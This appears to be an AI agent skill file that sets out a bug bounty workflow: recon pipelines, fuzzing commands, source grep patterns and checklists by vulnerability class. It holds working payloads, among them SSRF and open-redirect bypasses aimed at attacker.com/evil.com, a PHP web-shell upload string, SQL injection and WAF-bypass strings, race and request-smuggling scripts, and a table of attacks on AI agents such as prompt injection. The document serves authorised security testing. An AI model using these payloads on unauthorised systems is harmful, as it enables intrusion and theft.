---
name: bh-bb-local-toolkit
description: "Bug Bounty Master Workflow"
metadata:
khaos:
tool_ids: []
wordlist_ids: []
stages: [recon, enumeration]
source_type: bugHunter
source:
repository: https://github.com/elementalsouls/Claude-BugHunter
revision: main
path: skills/bb-local-toolkit/SKILL.md
license: MIT
Bug Bounty Master Workflow
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
| Pattern |
Kill Reason |
| "Could theoretically allow..." |
Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." |
Too many preconditions |
| "Wrong implementation but no practical impact" |
Wrong but harmless = not a bug |
| Dead code with a bug in it |
Not reachable = not a bug |
| Source maps without secrets |
No impact |
| SSRF with DNS-only callback |
Need data exfil or internal access |
| Open redirect alone |
Need ATO or OAuth chain |
| "Could be used in a chain if..." |
Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.
A->B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
Known A->B->C Chains
| Bug A (Signal) |
Hunt for Bug B |
Escalate to C |
| IDOR (read) |
PUT/DELETE on same endpoint |
Full account data manipulation |
| SSRF (any) |
Cloud metadata 169.254.169.254 |
IAM credential exfil -> RCE |
| XSS (stored) |
Check if HttpOnly is set on session cookie |
Session hijack -> ATO |
| Open redirect |
OAuth redirect_uri accepts your domain |
Auth code theft -> ATO |
| S3 bucket listing |
Enumerate JS bundles |
Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass |
OTP brute force |
Account takeover |
| GraphQL introspection |
Missing field-level auth |
Mass PII exfil |
| Debug endpoint |
Leaked environment variables |
Cloud credential -> infrastructure access |
| CORS reflects origin |
Test with credentials: include |
Credentialed data theft |
| Host header injection |
Password reset poisoning |
ATO via reset link |
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
Real Examples
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
TOP 1% HACKER MINDSET
How Elite Hackers Think Differently
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Pre-Hunt Mental Framework
Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
Step 2: Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
Step 3: Trust Boundary Mapping
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
Step 4: Feature Interaction Thinking
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
The Top 1% Mental Checklist
Mindset Rules from Top Hunters
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
TOOLS
Go Binaries
| Tool |
Use |
| subfinder |
Passive subdomain enum |
| httpx |
Probe live hosts |
| dnsx |
DNS resolution |
| nuclei |
Template scanner |
| katana |
Crawl |
| waybackurls |
Archive URLs |
| gau |
Known URLs |
| dalfox |
XSS scanner |
| ffuf |
Fuzzer |
| anew |
Dedup append |
| qsreplace |
Replace param values |
| assetfinder |
Subdomain enum |
| gf |
Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client |
OOB callbacks |
Tools to Install When Needed
| Tool |
Use |
Install |
| arjun |
Hidden parameter discovery |
pip3 install arjun |
| paramspider |
URL parameter mining |
pip3 install paramspider |
| kiterunner |
API endpoint brute |
go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum |
Cloud asset enumeration |
pip3 install cloud_enum |
| trufflehog |
Secret scanning |
brew install trufflehog |
| gitleaks |
Secret scanning |
brew install gitleaks |
| XSStrike |
Advanced XSS scanner |
pip3 install xsstrike |
| SecretFinder |
JS secret extraction |
pip3 install secretfinder |
| sqlmap |
SQL injection |
pip3 install sqlmap |
| subzy |
Subdomain takeover |
go install github.com/LukaSikic/subzy@latest |
Static Analysis (Semgrep Quick Audit)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF Advanced Techniques
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI-Assisted Tools
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
PHASE 1: RECON
Standard Recon Pipeline
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
Cloud Asset Enumeration
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API Endpoint Discovery
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne Scope Retrieval
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
Quick Wins Checklist
Technology Fingerprinting
| Signal |
Technology |
Cookie: XSRF-TOKEN + *_session |
Laravel |
Cookie: PHPSESSID |
PHP |
Header: X-Powered-By: Express |
Node.js/Express |
Response: wp-json/wp-content |
WordPress |
Response: {"errors":[{"message": |
GraphQL |
Header: X-Powered-By: Next.js |
Next.js |
Framework Quick Wins
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
Source Code Recon
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
Language-Specific Grep Patterns
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
PHASE 2: LEARN (Pre-Hunt Intelligence)
Read Disclosed Reports
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
"What Changed" Method
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
Threat Model Template
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
6 Key Patterns from Top Reports
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence --
timingSafeEqual in one place, === elsewhere
- "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth --
/api/v1/ guarded but /api/ isn't
- Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
PHASE 3: HUNT
Note-Taking System (Never Hunt Without This)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
Subdomain Type -> Hunt Strategy
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers (
X-Forwarded-For: 127.0.0.1)
- api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri
- upload/cdn: CORS, path traversal, stored XSS
CVE-Seeded Audit Approach
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
Rust/Blockchain Source Code (Hard-Won Lessons)
Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
VULNERABILITY HUNTING CHECKLISTS
IDOR -- Insecure Direct Object Reference
#1 most paid web2 class -- 30% of all submissions that get paid.
IDOR Variants (10 Ways to Test)
| Variant |
What to Test |
| V1: Direct |
Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param |
Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node |
{ node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk |
/api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested |
Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path |
/files/download?path=../other-user/file.pdf |
| V7: Predictable |
Sequential integers, timestamps, short UUIDs |
| V8: Method swap |
GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback |
v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection |
X-User-ID: victim_id, X-Org-ID: victim_org |
IDOR Testing Checklist
IDOR Chains (higher payout)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
SSRF -- Server-Side Request Forgery
SSRF IP Bypass Table (11 Techniques)
| Bypass |
Payload |
Notes |
| Decimal IP |
http://2130706433/ |
127.0.0.1 as single decimal |
| Hex IP |
http://0x7f000001/ |
Hex representation |
| Octal IP |
http://0177.0.0.1/ |
Octal 0177 = 127 |
| Short IP |
http://127.1/ |
Abbreviated notation |
| IPv6 |
http://[::1]/ |
Loopback in IPv6 |
| IPv6-mapped |
http://[::ffff:127.0.0.1]/ |
IPv4-mapped IPv6 |
| Redirect chain |
http://attacker.com/302->http://169.254.169.254 |
Check each hop |
| DNS rebinding |
Register domain resolving to 127.0.0.1 |
First check = external, fetch = internal |
| URL encoding |
http://127.0.0.1%2523@attacker.com |
Parser confusion |
| Enclosed alphanumeric |
http://①②⑦.⓪.⓪.① |
Unicode numerals |
| Protocol smuggling |
gopher://127.0.0.1:6379/_INFO |
Redis/other protocols |
SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
OAuth / OIDC
Open Redirect Bypass Table (11 Techniques)
Use these when chaining open redirect into OAuth code theft:
| Bypass |
Payload |
Notes |
| Double URL encoding |
%252F%252F |
Decodes to // after double decode |
| Backslash |
https://target.com\@evil.com |
Some parsers normalize \ to / |
| Missing protocol |
//evil.com |
Protocol-relative |
| @-trick |
https://target.com@evil.com |
target.com becomes username |
| Protocol-relative |
///evil.com |
Triple slash |
| Tab/newline injection |
//evil%09.com |
Whitespace in hostname |
| Fragment trick |
https://evil.com#target.com |
Fragment misleads validation |
| Null byte |
https://evil.com%00target.com |
Some parsers truncate at null |
| Parameter pollution |
?next=target.com&next=evil.com |
Last value wins |
| Path confusion |
/redirect/..%2F..%2Fevil.com |
Path traversal in redirect |
| Unicode normalization |
https://evil.com/target.com |
Visual confusion |
File Upload
File Upload Bypass Table
| Bypass |
Technique |
| Double extension |
file.php.jpg, file.php%00.jpg |
| Case variation |
file.pHp, file.PHP5 |
| Alternative extensions |
.phtml, .phar, .shtml, .inc |
| Content-Type spoof |
image/jpeg header with PHP content |
| Magic bytes |
GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload |
AddType application/x-httpd-php .jpg |
| SVG XSS |
<svg> |
| Race condition |
Upload + execute before cleanup runs |
| Polyglot JPEG/PHP |
Valid JPEG that is also valid PHP |
| Zip slip |
../../etc/cron.d/shell in filename inside archive |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Race Conditions
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
Business Logic
XSS -- Cross-Site Scripting
XSS Sinks (grep for these)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
SQL Injection
Detection
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
Introspection (alone = Informational, but reveals attack surface)
{ __schema { types { name fields { name type { name } } } } }
Missing Field-Level Auth
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
Batching Attack (Rate Limit Bypass)
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]
LLM / AI Features
Agentic AI Hunting (OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID |
Vuln Class |
What to Test |
| ASI01 |
Prompt injection |
Override system prompt via user input -- make agent ignore its rules |
| ASI02 |
Tool misuse |
Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 |
Data exfil |
Extract training data / PII via crafted prompts that leak context |
| ASI04 |
Privilege escalation |
Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 |
Indirect injection |
Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 |
Excessive agency |
AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 |
Model DoS |
Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 |
Insecure output |
AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 |
Supply chain |
Compromised plugins/tools/MCP servers the AI calls |
| ASI10 |
Sensitive disclosure |
AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
Cache Poisoning / Web Cache Deception
HTTP Request Smuggling
CL.TE Example
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Android / Mobile Hunting
CI/CD Pipeline — GitHub Actions Security
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases.
Quick scan: sisakulint scan .github/workflows/ — flags Critical/High issues with auto-fix suggestions.
Remote scan: sisakulint scan --remote owner/repo — scan without cloning.
Recon: Finding Workflow Files
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
Category 1: Code Injection & Expression Safety (CICD-SEC-04)
Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
Category 2: Pipeline Poisoning & Untrusted Checkout
Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
Category 4: Credential & Secret Protection
Category 5: Triggers & Access Control (CICD-SEC-01)
Category 6: AI Agent Security (NEW — 2025+)
…(truncated)
1---2name: bh-bb-local-toolkit3description: "Bug Bounty Master Workflow"4metadata:5 source: https://skillmd.com/skills/henriqqw/bh-bb-local-toolkit6 khaos:7 tool_ids: []8 wordlist_ids: []9 stages:10 - recon11 - enumeration12 source_type: bugHunter13 source:14 repository: https://github.com/elementalsouls/Claude-BugHunter15 revision: main16 path: skills/bb-local-toolkit/SKILL.md17 license: MIT18---1920# Bug Bounty Master Workflow2122Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.2324## THE ONLY QUESTION THAT MATTERS2526> **"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"**27>28> If the answer is NO -- **STOP. Do not write. Do not explore further. Move on.**2930### Theoretical Bug = Wasted Time. Kill These Immediately:3132| Pattern | Kill Reason |33|---|---|34| "Could theoretically allow..." | Not exploitable = not a bug |35| "An attacker with X, Y, Z conditions could..." | Too many preconditions |36| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |37| Dead code with a bug in it | Not reachable = not a bug |38| Source maps without secrets | No impact |39| SSRF with DNS-only callback | Need data exfil or internal access |40| Open redirect alone | Need ATO or OAuth chain |41| "Could be used in a chain if..." | Build the chain first, THEN report |4243**You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.**4445---4647## CRITICAL RULES48491. **READ FULL SCOPE FIRST** -- verify every asset/domain is owned by the target org502. **NO THEORETICAL BUGS** -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.513. **KILL WEAK FINDINGS FAST** -- run the 7-Question Gate BEFORE writing any report524. **Validate before writing** -- check CHANGELOG, design docs, deployment scripts FIRST535. **One bug class at a time** -- go deep, don't spray546. **Verify data isn't already public** -- check web UI in incognito before reporting API "leaks"557. **5-MINUTE RULE** -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON568. **IMPACT-FIRST HUNTING** -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target579. **CREDENTIAL LEAKS need exploitation proof** -- finding keys isn't enough, must PROVE what they access5810. **STOP SHALLOW RECON SPIRALS** -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere5911. **BUSINESS IMPACT over vuln class** -- severity depends on CONTEXT, not just vuln type6012. **UNDERSTAND THE TARGET DEEPLY** -- before hunting, learn the app like a real user6113. **DON'T OVER-RELY ON AUTOMATION** -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds6214. **HUNT LESS-SATURATED VULN CLASSES** -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks6315. **ONE-HOUR RULE** -- stuck on one target for an hour with no progress? SWITCH CONTEXT6416. **TWO-EYE APPROACH** -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)6517. **T-SHAPED KNOWLEDGE** -- go DEEP in one area and BROAD across everything else6667> **For the full hunting methodology** — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see **`skills/bb-methodology/SKILL.md`**.6869---7071## A->B BUG SIGNAL METHOD (Cluster Hunting)7273**When you find bug A, systematically hunt for B and C nearby.** This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.7475### Known A->B->C Chains7677| Bug A (Signal) | Hunt for Bug B | Escalate to C |78|----------------|---------------|---------------|79| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |80| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |81| XSS (stored) | Check 